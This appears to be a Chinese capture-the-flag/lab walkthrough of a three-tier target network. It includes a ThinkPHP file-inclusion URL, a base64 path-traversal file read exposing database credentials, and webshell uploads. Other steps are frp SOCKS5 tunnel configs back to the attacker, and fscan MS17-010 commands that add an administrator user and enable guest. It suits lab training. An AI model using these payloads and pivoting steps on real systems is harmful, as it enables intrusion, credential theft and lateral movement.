环境搭建

下载链接: https://pan.baidu.com/s/1LJueA-X02K7HZXr8QsOmeg提取码: dkcp

下载后是7z文件多个分段,直接右键解压CFS三层靶机环境.7z.001即可解压密码是teamssix.com

虚拟机网卡配置:用到的网卡Vmnet0、Vmnet4、Vmnet5,设置仅主机时记得不将主机适配器连接到此网络。

靶机IP地址:

还需要配一下宝塔,具体请参考相关连接里面的搭建过程。

漏洞探测和利用

通过探测入口机Target1的IP192.168.88.195发现开放80端口并且是thinkphp服务,利用历史漏洞进行测试并rce

文件包含

http://192.168.88.195?s=index/\think\Lang/load&file=/etc/passwd

历史漏洞Getshell

使用arp -a获取到新的IP段,并对新的IP:192.168.22.129进行探测

利用webshell自带的功能进行扫描新发现的ip地址192.168.22.129进行端口扫描,因为本机无法直接对Target2进行探测。

发现新的ip和web服务,且本机跟Target2不通,但是Target1跟Target2互通,这时就需要Target1将我们的请求流量通过代理转发给Target2,通过frp搭建代理通道。在本机上启动frps,在Target1上启动frpc,再结合proxifier将我们的请求代理到Target2上。

一级代理搭建

本机的frps的配置文件:

[common]
bind_port = 7000

Target1的frpc的配置文件:

[common]
server_addr = "192.168.88.108"
server_port = 7000

[plugin_socks]
type = "tcp"
remote_port = 7774
plugin = "socks5"

启动frps和frpc进行连接

配置proxifier代理服务器

配置代理规则

内网网段:

9

通过代理访问:192.168.22.129

SQL注入

在源码中发现注入点

使用sqlmap跑注入点:

获取后台账号密码admin、123qwe,登录后台。

后台文件读取

http://192.168.22.129/index.php?
r=admini/template/updateTpl&filename=Li4vLi4vLi4vcHJvdGVjdGVkL2NvbmZpZy9tYWluLnBocA
==

文件读取:(数据库账号密码'username' => 'bagecms','password' => 'CMf2P4ZKPFsCLJk4',)

后台写入webshell

访问连接http://192.168.22.129/index.php?r=tag

连接webshell

至此已经获取前两个机器,剩最后一个target3的windows机器。

二级代理搭建

正常的话我们攻击机要访问最后的Windows机器要再搭建一个frp,target1上起一个frps,target2上起一个frpc,我们就可以通过多级代理访问target3

Target1的frps配置:

[common]
bind_port = 7000

Target2的frpc的配置:

[common]
server_addr = "192.168.22.128"
server_port = 7000

[plugin_socks]
type = "tcp"
remote_port = 7774
plugin = "socks5"

然后使用proxifier来实现frp多级代理链

代理规则选择代理链:

然后用本机直接连接Target3

这里是直接通过fscan工具利用永恒之蓝(MS17-101)添加用户(sysadmin)

.\fscan64.exe -h 192.168.33.33 -m ms17010 -sc add
执行此命令后会生成一个用户,用户名:sysadmin 密码:1qaz@WSX!@#4
启用guest用户,并把guest用户添加到管理员组
.\fscan64.exe -h 192.168.88.141 -m ms17010 -sc guest
启用后用户是guest 密码:1qaz@WSX!@#4

使用Vshell进行多级代理

Target1上线vshell,直接使用webshell执行上线的命令即可:

关键是Target2怎么上线vshell,Target2不出网。通过正向连接,正常的弹shell例如nc,是我们在服务器上开启nc监听,客户端去找我们的nc服务器监听地址,但是它不出网就找不到我们反弹shell的地址。这时利用正向,让服务器通过Target1的隧道代理找到Target2上开启的服务。

具体实现就是,利用Target2的webshell上传一个正向可执行文件,然后执行可执行文件,就相当于在这个Target2客户端开上启了一个服务,然后我们通过Target1的隧道代理让服务器去连接Target2利用可执行文件开启这个服务。

上线Target1后设置隧道代理:

生成正向连接的可执行文件:

上传可执行文件到Target2,并执行。

然后设置vshell的正向连接

前提要确保正向可执行文件在Target2上正常运行,设置完成之后点击连接,即可vhell即可连接Target2。

然后利用Target2再搭建隧道代理:

利用proxifier的代理链来连接Target3:

然后就可以通过vshell的代理链连接到Target3了

相关链接

https://www.cnblogs.com/sfsec/p/15524648.html

https://www.cnblogs.com/PANDA-Mosen/p/13137449.html

https://blog.csdn.net/qq_63844103/article/details/126195711